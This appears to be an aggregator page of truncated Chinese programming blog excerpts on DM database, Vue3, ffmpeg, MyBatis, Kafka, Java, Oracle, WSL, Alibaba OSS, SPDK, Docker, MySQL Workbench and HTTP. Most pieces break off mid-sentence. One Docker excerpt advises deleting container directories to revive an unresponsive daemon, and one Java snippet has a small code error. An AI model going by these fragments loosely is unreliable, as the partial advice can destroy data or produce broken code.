达梦数据库管理系统是达梦公司推出的具有完全自主知识产权的高性能数据库管理系统,简称DM。 达梦数据库也属于关系型数据库,主要有以下几个概念: 数据库、实例、用户、表空间、模式、表、角色、数据文件。 DM8采用全新的体系架构,在保证大型通用的基础上,针对可靠性、高性能、海量数据处理和安全性做了大量的研发和改进工作,极大提升了达梦数据库产品的性能、可靠性、可扩展性,能同时兼顾OLTP和OLAP请求,从根本上提升了DM8产品的品质。 一、名词解释。 记录:数据库表中的每一行是一条记录 页:数据页(也称数据块)是 DM 数据库中最小的数据存储单元。在 DM 数据库中,页大小可以为 4KB、8KB、16KB 或者32KB,用户在创建数据库时可以指定,默认大小为 8KB。 簇:簇是数据页的上级逻辑单元,由同一个数据文件中 16 个或 32 个或 64 个连续的数据页组成。在 DM 数据库中,簇的大小由用户在创建数据库时指定,默认大小为 16。 段:段是簇的上级逻辑分区单元,它由一组簇组成。在同一个表空间中,段可以包含来自不同文件的簇,即一个段可以跨越不同的文件。 表空间:表空间由一个或者多个数据文件组成。 DM数据库:指的是磁盘上存放在 DM 数据库中的数据的集合,一般包括:数据文件、日志文件、控制文件以及临时数据文件等。 实例:是用来访问数据库的内存结构以及后台进程的集合,就是操作 DM 数据库的一种手段。 二、逻辑介绍。 多个页组成了簇,一个或多个簇组成了段,一个或多个段组成了数据文件,一个或多个多个数据文件组成了表空间,一个或多个多个表空间组成了数据库,由小到大的关系大致可以表示为: 页 -> 簇 -> 段 -> 文件 -> 表空间 -> 数据库 注:一个段可以跨多个数据文件,但一个簇总是在一个数据文件中。 三、在创建 DM 数据库时,会自动创建 4 个表空间: SYSTEM 表空间:存放了有关 DM 数据库的字典信息; ROLL 表空间:用来存放事务运行过程中执行 DML 操作之前的值; MAIN 表空间:如果没有指定默认表空间,则系统自动指定 MAIN 表空间为用户默认的表空间,MAIN 表空间为混合表空间。 TEMP 表空间:为临时表空间。 四、用户可以通过执行如下语句来查看 SYSTEM、ROLL、MAIN 以及 TEMP 的表空间相关信息。

基于VUE3和Element-plus实现的Cron表达式组件no-vue3-cron(支持回显)

no-vue3-cron 这是一个 cron 表达式生成插件,基于 vue3.0 与 element-plus 实现 demo 项目地址 github : https://github.com/wuchuanpeng/no-vue3-cron github 项目启动: 1.npm install 2.npm run serve 安装方式 npm install no-vue3-cron 全局引入方式 //前置配置 import { createApp } from 'vue' import ElementPlus from 'element-plus' import 'element-plus/lib/theme-chalk/index.css' import App from './App.vue' //全局引入 import noVue3Cron from 'no-vue3-cron' import 'no-vue3-cron/lib/noVue3Cron.css' // 引入样式 const app = createApp(App) app .use(ElementPlus) .use(noVue3Cron) .mount('#app') //使用方式:<noVue3Cron></noVue3Cron> 局部引入方式 //局部引入 import { noVue3Cron } from 'no-vue3-cron' import 'no-vue3-cron/lib/noVue3Cron.

ffmpeg 学习笔记

ffmpeg 学习笔记 ffmpeg 的名称来自于 MPEG 视频编码标准,其中 ff 表示 Fast Forward,这是一套用于记录、转换数字音频、视频,并能将其转化为流的开源程序。可以轻松地实现多种视频格式之间的相关转换。 ffmpeg 是一个终端的工具,其功能比较强大,许多网站都使用它,例如Google,Facebook,Youtube,优酷,爱奇艺,土豆等。 把一个 .flac 音频转换成 .mp3 格式 ffmpeg -i in.flac -acodec libmp3lame -ar 44100 -ab 320k -ac 2 out.mp3 -acodec : 音频编码器,libmp3lame 表示 MP3 的编码。 -ar 44100 : 设置音频采样率的, -ab 320k : 指定音频的比特率,默认是128k。 -ac 2 : 设置输出声道的。 把 .webm 格式压缩成指定大小的 .mp4 格式 ffmpeg -i in.webm -s 1920x1080 -pix_fmt yuv420p -vcodec libx264 -preset medium -profile:v high -level:v 4.1 -crf 23 -acodec aac -ar 44100 -ac 2 -b:a 128k out.

mybatis进阶分页(一对多)

一对多的分页问题 当查询为一对多的时候,进行分页,如果全部查询分页,会以总条数进行分页,而不是以主表条数分页,当分页后,在进行一对多的封装,会导致分页不准 例如: user 表 adress表 一个用户多个收货地址 采用一对多封装 select * from user u left join adress a on a.id = u.adress_id limit 0,10 当第一个用户有十条地址数据,那么上面的查询0,10,刚好是第一个用户的分页完成,此时再进行一对多封装,将会导致封装之后,仅有一个用户数据,分页不准确 解决办法 1 采用用户主表先查询,然后根据结果,在程序中再次进行查询地址表(不建议) 2 一次性查询,采用一堆多封装(嵌套语句查询) 其实一对多封装有两种,一种是如上的嵌套语句查询,与嵌套结果查询,而如上方式,主表分页则是准确的,第二种嵌套结果查询,主表分页不准确,但是更简洁,更快,我之前的文章有说过嵌套结果查询的例子; 3 采用嵌套结果查询,先不进行分页,根据查询后的结果,进行手动分页(假分页),强制截取结果,其实每次查询的都是全量的,然后截取想要的结果集返回 说明 两种方式都是采用关键字 结果集也都是一对多,不同点在于嵌套语句查询,需要单独执行sql,并指定sql 的入参(关联关键条件) 例子 如下是我自己的一个xml 嵌套语句查询 <resultMap id="deviceChannelMap" type="com.jovision.vse.console.basic.vo.device.DeviceChannelVo"> <id column="id" jdbcType="VARCHAR" property="id"/> <result column="area_id" jdbcType="VARCHAR" property="areaId"/> <result property="realName" column="real_name"/> <result property="name" column="name"/> <result property="tenantId" column="tenant_id"/> <result property="addingMethod" column="adding_method"/> <result property="type" column="type"/> <result property="areaId" column="area_id"/> <result property="

VS 出现错误“MSB3644 找不到 .NETFramework,Version=v4.6.X 的引用程序集。”的解决方案

1.到“下载 .NET Framework | 免费官方下载 (microsoft.com)”下载对应版本的runtime、DevPack、以及语言包进行安装 2.安装的过程中有可能出现“已经安装了 .NET Framework 4.6.X 或版本更高的更新。”,则表明已经安装过,直接跳过即可 3.使用管理员权限启动VS,打开解决方案,即可进行编译。 注:第3步很重要。

Java继承中的子类父类构造方法的调用

Java的继承中,关于子类和父类构造方法的使用。 子类在初始化时,一定会调用父类的构造方法。 原因如下: 在子类继承父类时,子类会继承父类所有的公共成员变量,公共方法,这些方法在子类中不再重复声明。 如果在初始化子类的时候,不初始化父类,那么子类在调用父类的方法和属性的时候,就会抛出异常,一次你通过调用父类的构造方法来初始化父类的公共成员变量和公共成员方法,才能够在子类中,正常对这些方法进行使用 因此:JVM会在你初始化子类的时候默认的初始化子类的父类,并且一层一层地往上递进。 一个小例子: class Father{ public Father(){ System.out.println("Father Function"); } } class Son extends Father{ public Son(){ System.out.println("Son Function"); } } public class Test{ public static void main(String[] args){ Son son = new Son(); } } 输出: Father Function Son Function 在输出Son Function的同时输出了Father Function的原因在于: 父类的构造方法是不会被子类继承,但子类初始化时会调用父类构造方法。但通常,子类构造方法中会有一个隐式的super()来调用父类中的无参数构造方法。因此本例中,在初始化Son的实例的时候,先通过一个隐式的super()来调用了父类中的无参数构造方法,因此先输出了Father Function,然后调用Son的构造方法,输出了Son Function。 如果父类有多个构造方法,子类还是默认隐式调用super()来调用父类中的无参数构造方法。 一个例子: class Father { public Father() { System.out.println("Father Function"); } public Father(String str) { System.out.println("Father " + str); } } class Son extends Father { public Son() { System.

记录一次生产问题:当线程池打满,CallerRunsPolicy这个策略导致主调线程ThreadLocal变量丢失

用户信息丢失的事故总结 复现事故场景 微服务架构,用户在ThreadLocal变量中存储,每次请求进服务的时候都需要将传递过来的用户放进ThreadLocal变量,某些请求的步骤较多,导致耗时很长。 为了加快响应速度,将某些步骤并发执行。于是创建了一个线程池,参数给了核心5,最大20,队列100,拒绝策略用了自带的CallerRunsPolicy(即调用者自己执行任务)。 那么线程池如何解决ThreadLocal透传的问题呢,这里用了一个wrap包装,自己实现的,很简单: public static Runnable wrap(Runnable r, String user) { return () -> { setUser(user); try { callable.run(); } finally { setUser(null); } }; } 业务日志发现某些请求在跨越线程之后,用户信息丢失了。 同时发现另一个重要线索:用户丢失的时候线程池的使用频率很高。 于是很自然的想到是不是因为线程池被打满了,让主调线程自己执行任务的时候导致了用户信息丢失。正常情况下,任务在线程池中执行完毕了就释放用户信息,释放的是子线程的啊,是不会释放到主调线程的用户的啊。但如果主调线程亲自执行任务,会不会也释放了主掉线程的用户信息呢? 为了验证这个问题,我写了一段代码来验证: public class Test { @Test public void test_拒绝策略() throws InterruptedException { AtomicInteger count = new AtomicInteger(); ThreadPoolExecutorWithUser executor = new ThreadPoolExecutorWithUser( 1, 2, // 1个核心线程,2个总线程数 1, TimeUnit.HOURS, new LinkedBlockingQueue<>(2), // 队列长度为2 r -> new Thread(r, "t-" + count.

Kafka 提交 offset 机制

前言 在kafka 0.9版本之后,kafka为了降低zookeeper的io读写,减少network data transfer,也自己实现了在kafka server上存储consumer,topic,partitions,offset信息将消费的 offset 迁入到了 Kafka 一个名为 __consumer_offsets 的Topic中。 在kafka的消费者中,有一个非常关键的机制,那就是offset机制。它使得Kafka在消费的过程中即使挂了或者引发再均衡问题重新分配Partation,当下次重新恢复消费时仍然可以知道从哪里开始消费。它好比看一本书中的书签标记,每次通过书签标记(offset)就能快速找到该从哪里开始看(消费)。Kafka对于offset的处理有两种提交方式:(1) 自动提交(默认的提交方式) (2) 手动提交(可以灵活地控制offset) 自动提交偏移量 Kafka中偏移量的自动提交是由参数enable_auto_commit和auto_commit_interval_ms控制的,当enable_auto_commit=True时,Kafka在消费的过程中会以频率为auto_commit_interval_ms向Kafka自带的topic(__consumer_offsets)进行偏移量提交,具体提交到哪个Partation是以算法:partation=hash(group_id)%50来计算的。 在上述代码最后调用consumer.close()时候也会触发自动提交,因为它默认autocommit=True。 对于自动提交偏移量,如果auto_commit_interval_ms的值设置的过大,当消费者在自动提交偏移量之前异常退出,将导致kafka未提交偏移量,进而出现重复消费的问题,所以建议auto_commit_interval_ms的值越小越好。 手动提交偏移量 鉴于Kafka自动提交offset的不灵活性和不精确性(只能是按指定频率的提交),Kafka提供了手动提交offset策略。手动提交能对偏移量更加灵活精准地控制,以保证消息不被重复消费以及消息不被丢失。 对于手动提交offset主要有3种方式:1.同步提交 2.异步提交 3.异步+同步 组合的方式提交 同步手动提交偏移量 同步模式下提交失败的时候一直尝试提交,直到遇到无法重试的情况下才会结束,同时同步方式下消费者线程在拉取消息会被阻塞,在broker对提交的请求做出响应之前,会一直阻塞直到偏移量提交操作成功或者在提交过程中发生异常,限制了消息的吞吐量。 每轮循一个批次,手动提交一次,只有当前批次的消息提交完成时才会触发poll来获取下一轮的消息,经测试10W条消息耗时4.58s 异步手动提交偏移量+回调函数 异步手动提交offset时,消费者线程不会阻塞,提交失败的时候也不会进行重试,并且可以配合回调函数在broker做出响应的时候记录错误信息。 对于异步提交,由于不会进行失败重试,当消费者异常关闭或者触发了再均衡前,如果偏移量还未提交就会造成偏移量丢失。 异步+同步 组合的方式提交偏移量 针对异步提交偏移量丢失的问题,通过对消费者进行异步批次提交并且在关闭时同步提交的方式,这样即使上一次的异步提交失败,通过同步提交还能够进行补救,同步会一直重试,直到提交成功。 通过finally在最后不管是否异常都会触发consumer.commit()来同步补救一次,确保偏移量不会丢失 (https://www.cnblogs.com/FG123/p/10091599.html)受益匪浅

教程3 Vue3条件渲染指令(v-if、v-else、v-else-if、v-show、v-for)

一、新建项目 1、使用Vite创建Vue Typescript 项目(conditional-rendering ) npm create vite@latest 2、文件结构 3、运行 cd conditional-rendering npm install npm run dev 二、条件渲染指令 1、v-if v-if 指令用于条件性地渲染一块内容。这块内容只会在指令的表达式返回真值时才被渲染。 2、v-else 可以使用 v-else 为 v-if 添加一个“else 区块”。 3、v-else-if v-else-if 提供的是相应于 v-if 的“else if 区块”。它可以连续多次重复使用。 4、v-show 可以用来按条件显示一个元素的指令是 v-show。 5、v-for 三、案例 1、案例 显示当前库存状态 v-if、v-else、v-else-if他们是把多余的dom节点去除(不是none),下面这个案例使用这三个指令完成。 (1)运行效果 (2)HelloWorld.vue参考源码 <template> <div id="app"> <input type="text" v-model="stock"/> <p v-if='stock > 10'>库存为{{ stock }}</p> <p v-else-if='0 < stock && stock <= 5'>商品即将售馨</p> <p v-else>暂时没有库存</p> </div> </template> <script setup lang="

Oracle trunc()函数详解

https://blog.csdn.net/weixin_42675423/article/details/125906152 1、功能描述 用于截取时间或者数值,返回指定的值。 2、语法 2.1、数值处理: 格式: trunc(number,[decimals]) number : 为必要参数,是输入的一个数值 decimals :参数可忽略,是要截取的位数,缺省时表示截掉小数点后边的值。 案例1【第二个参数为正数时】: select trunc(12345.6789,0) from dual --返回结果为12345 --第二个参数省略,相当于0 select trunc(12345.6789,0) from dual --返回结果为12345 --截取0位小数==去除小数 select trunc(12345.6789,1) from dual --返回结果为12345.6 --截取一位小数 select trunc(12345.6789,2) from dual --返回结果为12345.67 select trunc(12345.6789,5) from dual --返回结果为12345.6789 案例2【第二个参数为负数时】: select trunc(12345.6789,-1) from dual --返回结果为12340,-1相当于整数位截取一位,这里的截取是把数值直接变为0,不会去截取位数,更不会四舍五入 select trunc(12345.6789,-2) from dual --返回结果为12300 select trunc(12345.6789,-3) from dual --返回结果为12000 select trunc(12345.6789,-4) from dual --返回结果为10000 select trunc(12345.6789,-5) from dual --返回结果为0 2.2、日期处理: 格式:

Win10安装Linux子系统WSL(ubuntu2204)及图形桌面xfce4

WSL简介 什么是 WSL ? 在计算机上使用 Linux 系统通常有两种方式:使用虚拟机或安装 Linux 系统。使用虚拟机时开销较大,直接使用 Linux 系统虽然可以带来流畅体验,但与 Windows 之间来回切换比较麻烦。为此,微软开发了适用于 Linux 的 Windows 子系统,简称 WSL。 WSL 可以让开发人员可以在 Windows 计算机上同时访问 Windows 和 Linux 系统。 通过WSL开发人员可以安装 Linux 发行版(例如 Ubuntu、OpenSUSE、Kali、Debian、Arch Linux 等),并直接在 Windows 上使用 Linux 应用程序、实用程序和 Bash 命令行工具,不用进行任何修改,也无需承担传统虚拟机或双启动设置的开销。 WSL 1 与 WSL 2 WSL 1 和 WSL 2 之间的主要区别在于,在托管 VM 内使用实际的 Linux 内核、支持完整的系统调用兼容性以及跨 Linux 和 Windows 操作系统的性能。 从上表中可以看出,WSL 2 架构在几个方面优于 WSL 1,但跨 OS 文件系统的性能除外,对于这种情况,可通过将项目文件存储在与处理项目时运行的工具相同的操作系统上进行处理。 WSL 2 仅在 Windows 11 或 Windows 10 版本 1903、内部版本 18362 或更高版本中可用。 通过按 Windows 徽标键 + R,检查你的 Windows 版本,然后键入 winver,选择“确定”。

VUE经典面试题总结(一)

目录 1.说说Vue的生命周期 2.对接口的请求一般放在哪个生命周期中? 3.Vue中组件生命周期调用顺序说一下 4.第一次页面加载会触发哪几个钩子? 5.说一下v-if与v-show的区别 6.为什么避免v-if和v-for一起使用 7.数组中的data为什么是个函数 8.数据双向绑定的原理是什么 9.computed,methods,watch的区别 10.Vuex是什么 11.为什么 Vuex 的 mutation 中不能做异步操作? 12.组件间的通信有哪些 13.axios 是什么,其特点和常用语法 14.vue-loader是什么?使用它的用途有哪些? 15.做过哪些Vue的性能优化? 16.Vue中常用的一些指令 17.Vue 事件修饰符 18.Sass、Less区别? 19.怎么定义vue-router的动态路由?怎么获取传过来的动态参数? 20.vue-router有几种钩子函数? 21.$nextTick的理解 22.hash路由和history路由原理 23.router和route的区别 24.Vue.set 改变数组和对象中的属性 25.vm.$set(obj, key, val) 做了什么? 26.页面渲染为什么使用 key? 27.对MVVM开发模式的理解: 28.Vue要做权限管理该怎么做?控制到按钮级别的权限怎么做? 29.Vue3有了解过吗?能说说跟Vue2的区别吗? 1.说说Vue的生命周期 创建前/后: 在beforeCreated阶段,vue实例的挂载元素$el和数据对象data都为undefined,还未初始化。在created阶段,vue实例的数据对象data有了,$el还没有。 载入前/后:在beforeMount阶段,vue实例的$el和data都初始化了,但还是挂载之前为虚拟的dom节点,data.message还未替换。在mounted阶段,vue实例挂载完成,data.message成功渲染。 更新前/后:当data变化时,会触发beforeUpdate和updated方法。 销毁前/后:在执行destroy方法后,对data的改变不会再触发周期函数,说明此时vue实例已经解除了事件监听以及和dom的绑定,但是dom结构依然存在 2.对接口的请求一般放在哪个生命周期中? 接口请求一般放在mounted中,但是要注意的是服务端渲染时不支持mounted,需要放到created中。 3.Vue中组件生命周期调用顺序说一下 组件的调用顺序都是先父后子,渲染完成的顺序是先子后父。 组件的销毁操作是先父后子,销毁完成的顺序是先子后父。 4.第一次页面加载会触发哪几个钩子? beforeCreate, created, beforeMount, mounted 5.说一下v-if与v-show的区别 v-show本质就是通过设置css中的display设置为none显示和隐藏元素;v-if是直接销毁和重建DOM达到让元素显示和隐藏的效果; 总结:v-show只编译一次,后面其实就是控制css,而v-if不停的销毁和创建,如果要频繁切换某节点时,故v-show性能更好一点。 6.为什么避免v-if和v-for一起使用 ue2.x版本中, 一起使用时,v-for 具有比 v-if 更高的优先级;vue3.x版本中,v-if 具有比 v-for 更高的优先级。避免 v-if 和 v-for 一起使用。

JS 基本数据类型和引用数据类型的区别及浅拷贝和深拷贝

1.栈(stack)和堆(heap) 栈(stack): 栈会自动分配内存空间,会自动释放,存放基本类型,简单的数据段,占据固定大小的空间。 堆(heap): 动态分配的内存,大小不定也不会自动释放,存放引用类型,指那些可能由多个值构成的对象,保存在堆内存中,包含引用类型的变量,实际上保存的不是变量本身,而是指向该对象的指针。 2.基本数据类型和引用数据类型 基本数据类型: Number、String、Boolean、Null、 Undefined、Symbol(ES6),这些类型可以直接操作保存在变量中的实际值 特点: 1.占用空间固定,保存在栈中 当一个方法执行时,每个方法都会建立自己的内存栈,在这个方法内定义的变量将会逐个放入这块栈内存里,随着方法的执行结束, 这个方法的内存栈也将自然销毁了。因此,所有在方法中定义的变量都是放在栈内存中的;栈中存储的是基础变量以及一些对象的引用变量, 基础变量的值是存储在栈中,而引用变量存储在栈中的是指向堆中的数组或者对象的地址,这就是为何修改引用类型总会影响到其他指向这个地址 的引用变量) 2.保存与复制的是值本身 3.基本数据类型是指存放在栈中的简单数据段、数据大小确定、内存空间大小可分配、直接按值存放的,按值访问 4.引用数据类型存放在堆中 引用类型是存放在堆内存中的对象,变量其实是保存的在栈内存中的一个指针(保存的是堆内存中的引用地址),这个指针指向堆内存引用类型数据在栈内存中保存的实际上是对象在堆内存中的引用地址。通过这个引用地址可以快速查找到保存中堆内存中的对象 var a = { name: 'lily', age: '16' } var b = a; b.name = 'lokka'; console.log(a); // {name: "lokka", age: "16"} 把 a 赋值给 b ,就相当于把 a 的内存地址指向 b ,即 a 和 b 指向同一内存地址, 改变了 b 就相当于改变了 a 浅拷贝和深拷贝 1.概念: 浅拷贝: 只拷贝一层,深层次的对象级别只拷贝引用。 深拷贝: 拷贝多层,每一级别的数据都会被拷贝出来。 2.浅拷贝的实现方式 1.方法一:通用循环 function shallowCopy(obj) { if (typeof obj !

OSS上传(Java和Js)

OSS上传(Java和Js) 准备工作创建RAM用户创建角色创建权限策略给角色授予权限策略 获取临时访问凭证Java普通上传OSSJava分片上传OSSJS普通上传OSSJS分片上传OSS 使用RAM用户或STS方式访问 由于阿里云账号AccessKey拥有所有API访问权限,建议遵循阿里云安全最佳实践。如果部署在服务端可以使用RAM用户或STS来进行API访问或日常运维管控操作,如果部署在客户端请使用STS方式来进行API访问。 本文采用STS方式来实现上传功能,STS可以给第三方提供权限,在考虑接口安全的前提下,还是很合适的,当然如果是自己企业使用的话,也可以直接用RAM用户方式。代码都是类似的 准备工作 登录控制台进入RAM控制台 创建RAM用户 创建完成之后记得复制密钥后面代码里面要用到 返回用户列表,点击添加权限,现在下面权限后点击确定 创建角色 选择阿里云账号,点击下一步 输入名称,点击下一步 点击完成创建 然后角色列表,找到刚刚创建的角色,点击进入 复制角色的ARN,后面的代码里面会用到 创建权限策略 输入脚本 PutObject就是用form表单的方式上传,resource就是bucket资源路径,这个自行修改 { "Version": "1", "Statement": [ { "Effect": "Allow", "Action": "oss:PutObject", "Resource": [ "acs:oss:*:*:test/img/*", "acs:oss:*:*:test/mp4/*" ] } ] } 然后点击继续编辑,添加名称后点击 确定即可 给角色授予权限策略 进入角色列表找到刚刚新建的角色,点击添加权限 选择刚刚创建的权限策略,点击确定 获取临时访问凭证 <!--阿里云oss--> <dependency> <groupId>com.aliyun.oss</groupId> <artifactId>aliyun-sdk-oss</artifactId> <version>3.10.2</version> </dependency> 注意替换你自己的id 和 secret,这个生成的token有效期默认是3600秒,可以根据业务场景自己调整 public static void main(String[] args) { // STS接入地址,例如sts.cn-hangzhou.aliyuncs.com。 String endpoint = "sts.cn-hangzhou.aliyuncs.com"; // 填写步骤1生成的RAM用户访问密钥AccessKey ID和AccessKey Secret。 String accessKeyId = "

SPDK vhost target

SPDK vhost target 主流的I/O设备虚拟化的方案1.virtio2.vhost加速1)QEMU virtio-scsiQemu 架构 2)Kernel vhost-scsi3)SPDK vhost-user-scsi 3.SPDK vhost-scsi加速4.SPDK vhost-NVMe加速 主流的I/O设备虚拟化的方案 纯软件模拟:完全利用软件模拟出一些设备给虚拟机使用,主要的工作可以在Simics、Bochs、纯QEMU解决方案中看到。半虚拟(Para-Virtualization):主要是一种frontend-backend的模型,在虚拟机中的Guest OS中使用frontend的驱动,Hypervisor中暴露出backend接口。这种解决方案需要修改Guest OS,或者提供半虚拟化的前端驱动。硬件虚拟化:主流的方案有SR-IOV、VT-D等,可以把整个设备直接分配给一个虚拟机,或者如果设备支持SR-IOV,就可以把设备的VF(Virtual Function)分配给虚拟机。 1.virtio virtio在QEMU中的总体实现可以分成3层: 前端是设备层,位于Guest操作系统内部;中间是虚拟队列传输层,Guest和QEMU都包含该层,数据传输及命令下发完成都是通过该层实现的;第3层是virtio后端设备,用于具体落实来自Guest端发送的请求。 2.vhost加速 virtio后端设备用于具体响应Guest的命令请求。 例如,对virtio-scsi设备来讲,该virtio后端负责SCSI命令的响应,QEMU负责模拟该PCI设备,把该SCSI命令响应的模块在QEMU进程之外实现的方案称为vhost。这里同样分为两种实现方式,在Linux内核中实现的叫作vhost-kernel,而在用户态实现的叫作vhost-user。 1)QEMU virtio-scsi Qemu 架构 Qemu 是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备,我们最熟悉的就是能够模拟一台能够独立运行操作系统的虚拟机,虚拟机认为自己和硬件打交道,但其实是和 Qemu 模拟出来的硬件打交道,Qemu 将这些指令转译给真正的硬件。 正因为 Qemu 是纯软件实现的,所有的指令都要经 Qemu 过一手,性能非常低,所以,在生产环境中,大多数的做法都是配合 KVM 来完成虚拟化工作,因为 KVM 是硬件辅助的虚拟化技术,主要负责 比较繁琐的 CPU 和内存虚拟化,而 Qemu 则负责 I/O 虚拟化,两者合作各自发挥自身的优势,相得益彰。 Guest和QEMU之间通过virtqueue进行数据交换,当Guest提交新的SCSI命令到virtqueue时,根据virtio PCI设备定义,Guest会把该队列的ID写入PCI配置空间中,通知PCI设备有新的SCSI请求已经就绪; 之后QEMU会得到通知,基于Guest填写的队列ID到指定的virtqueue获取最新的SCSI请求; 最后发送到该模拟PCI设备的后端,这里后端可以是宿主机系统上的一个文件或块设备分区。 当SCSI命令在后端的文件或块设备执行完成并返回给virtio-scsi backend模块后QEMU会向该P CI设备发送中断通知,从而Guest基于该中断完成整个SCSI命令流程。 这个方案存在如下两个严重影响性能的因素。 当Guest提交新的SCSI请求到virtqueue队列时,需要告知QEMU哪个队列含有最新的SCSI命令。在实际处理具体的SCSI读/写命令时(在hostOS 中),存在用户态到内核态的数据副本。 数据副本影响性能,我们比较好理解,因为存储设备中的数据块相对于网络来说都是大包,但是为什么说Guest提交新的SCSI请求时也严重影响性能呢? 根据virtio协议,Guest提交请求到virtqueue时需要把该队列的ID写入PCI配置空间,所以每个新的命令请求都会写入一次PCI的配置空间。在X86虚拟化环境下,Guest中对PCI空间的读/写是特权指令,需要更高级别的权限,因此会触发VMM的Trap,从而导致VM_EXIT事件,CPU需要切换上下文到QEMU进程去处理该事件,在虚拟化环境下,VM_EXIT对性能有重大影响,而且对系统能够支持VM的密度等方面也有影响,所以下面介绍的方案都是基于对这两点的优化来进行的。 2)Kernel vhost-scsi 这个方案是QEMU virtio-scsi的后续演进,基于LIO在内核空间实现为虚拟机服务的SCSI设备。实际上vhost-kernel方案并没有完全模拟一个PCI设备,QEMU仍然负责对该PCI设备的模拟,只是把来自virtqueue的数据处理逻辑拿到内核空间了。 为了实现在内核空间处理virtqueue上的数据,QEMU需要告知内核vhost-scsi模块关于virtqueue的内存信息及Guest的内存映射,这样其实省去了Guest到QEMU用户态空间,再到宿主机内核空间多次数据复制。 但是由于内核的vhost-scsi模块并不知道什么时候在哪个队列存在新的请求,所以当Guest生成新的请求到virtqueue队列,再更新完PCI配置空间后,由QEMU负责通知vhost-kernel启动内核线程去处理新的队列请求。 这里我们可以看到Kernel vhost-scsi方案相比QEMU virtio-scsi方案在具体的SCSI命令处理时减少了数据的内存复制过程,从而提高了性能。

实时渲染新技术能给业主带来哪些价值?点量云

目前在数字孪生三维可视化项目领域,本地部署和Webgl方案是使用比较多的。本地部署方案,根据项目的需要配备几台高性能电脑,在电脑上安装相应的三维可视化模型即可,通常使用的频率不是很高。而Webgl方案,相比本地部署,可以实现用户网页打开大型3D应用并进行交互,虽然在打开的时候加载需要些时间,但由于程序部分是运行在服务器上,对本地算力的依赖有所降低,也是一种很大进步。而实时云渲染技术方案是和以上两种并列的第三种大型三维可视化模型交付方案,尤其是在业主要求能多终端无门槛使用的诉求中,该方案具有其他的两个方案无法替代的优势。今天点量云小芹就带您一起来了解下,实时渲染技术方案能给业主带来哪些价值和益处。 一、提升工作效率 实时渲染系统中流化出的网页地址,是可以允许多人同时访问的,可以设置一个为主控具有对模型的操作权限,而其他进入的人员处于旁观模式,这样所有主控的操作其他人都可以共享到,通过其他的软件一起就可以实现线上交流和信息同步,这样更加直观。比如在以前疫情下,在家办公也可以实现模型情况的实时同步,而且控制操作权也可以转移,在交流的过程中其他人对于疑问也可以进行标准提出和演示给其他人。这样可以大大的提高工作效率,尤其是对于一些集团公司和特殊情况下信息同步。 二、降低建设成本 很多大型集团在建设数字孪生项目时,通过实时云渲染技术方案可以实现集中建设,分散了中央控制室、中央展厅的功能左右,可以直接利用原有的体系网络设备,降低整体建设和设备配置费用,由集团统一建设各分公司或者部门可以分开使用,同时也降低了系统运营维护成本。 此外很多国外的3D设计类软件是按照终端进行授权,通过云渲染方案可以实现错峰使用,降低购买这类设计软件的终端数数量,从而降低软件使用成本。 三、扩大品牌影响 和原来的本地化部署方式相比,使用实时云渲染方案,可以将大型3D应用类三维模型,扩展到互联网下的所有场合和大部分设备 。无论是给客户、上下游合作伙伴还是上级管理单位,都可以实时展示加深彼此的联系,提升自身产品在行业的品牌影响力。 ​

docker 命令无响应的排查思路

df -h 查看磁盘空间是否充足docker容器有问题,需要清空docker容器【操作有风险,注意备份】 docker容器位置 cd /var/lib/docker/containers Docker containers are stored in the default location at /var/lib/docker/ on Linux. If you can identify the container and delete this, and then try to start docker. If you are successful and you can run the docker ps -a command successfully, then you can start deleting traces of this container. Note: I would snapshot your VM before attempting to try this. docker无响应,起不来,把对应的容器删掉,然后重启虚拟机就可以了

MySQL Workbench基本用法

MySQL Workbench相当于SQL语言的解释器 目录 1 打开 2 连接数据库 3 创建数据库 4 创建数据表 4.1 字段类型 4.2 字段选项 4.3 其他 4.4 再次修改表的字段内容 5 操作表中的数据 5.1 添加 5.2 更改 5.3 删除 6 代码编辑器 7 保存sql代码 8 加载sql代码 1 打开 搜索MySQL Workbench,然后打开 打开后会出现这个页面 2 连接数据库 点击root用户,之后之后会弹出Connect to MySQL Server这个对话框,然后输入密码,之后点击Save password in vault(记住密码),然后点击OK 点击OK后会进入这个界面,这样就与数据库连接完毕了 SQL Additions这个窗口我们一般用不到,所以我们点我箭头指向的按钮 点完之后 SQL Additions 就没了 点击Schemas可以看到目前所有的数据库列表,其中 sakila,sys,world 是内置的数据库 3 创建数据库 点击创建数据库按钮,之后弹出一个页面,可以在new_scheama处修改数据库名称,修改后点击Apply,我们这里新建一个数据库,命名为my_db_01 点击apply后会出现一个窗口,之后点击Apply 点击Apply后会发现数据库列表中出现了 my_db_01 这个数据库,之后我们点击Finish 至此创建数据库完毕 4 创建数据表 展开数据库后,右键Tables,然后点击Create Table

HTTP协议常问的面试题

1.http协议请求方式 HTTP1.0定义了三种请求方法: GET, POST 和 HEAD方法 HTTP1.1新增了五种请求方法:OPTIONS, PUT, DELETE, TRACE 和 CONNECT 下面是它们的作用(背的时候可以挑常见的请求去背诵) GET: 通常用于请求服务器发送某些资源 POST: 发送数据给服务器 PUT: 用于新增资源或者使用请求中的有效负载替换目标资源的表现形式 PATCH: 用于对资源进行部分修改 DELETE: 用于删除指定的资源 HEAD: 请求资源的头部信息, 并且这些头部与 HTTP GET 方法请求时返回的一致. 该请求方法的一个使用场景是在下载一个大文件前先获取其大小再决定是否要下载, 以此可以节约带宽资源 OPTIONS: 用于获取目的资源所支持的通信选项 CONNECT: HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器 TRACE: 回显服务器收到的请求,主要用于测试或诊断 2.GET和POST有什么区别? 数据传输方式不同:GET请求通过URL传输数据,而POST的数据通过请求体传输。 安全性不同:POST的数据因为在请求主体内,所以有一定的安全性保证,而GET的数据在URL中,通过历史记录,缓存很容易查到数据信息。 数据类型不同:GET只允许 ASCII 字符,而POST无限制 GET无害: 刷新、后退等浏览器操作GET请求是无害的,POST可能重复提交表单 特性不同:GET是安全(这里的安全是指只读特性,就是使用这个方法不会引起服务器状态变化)且幂等(幂等的概念是指同一个请求方法执行多次和仅执行一次的效果完全相同),而POST是非安全非幂等 3.什么是无状态协议,HTTP 是无状态协议吗,怎么解决 无状态协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息。状态协议解决办法:通过1、Cookie 2、通过Session会话保存。 无状态协议(Stateless Protocol) 就是指浏览器对于事务的处理没有记忆能力。举个例子来说就是比如客户请求获得网页之后关闭浏览器,然后再次启动浏览器,登录该网站,但是服务器并不知道客户关闭了一次浏览器。 HTTP 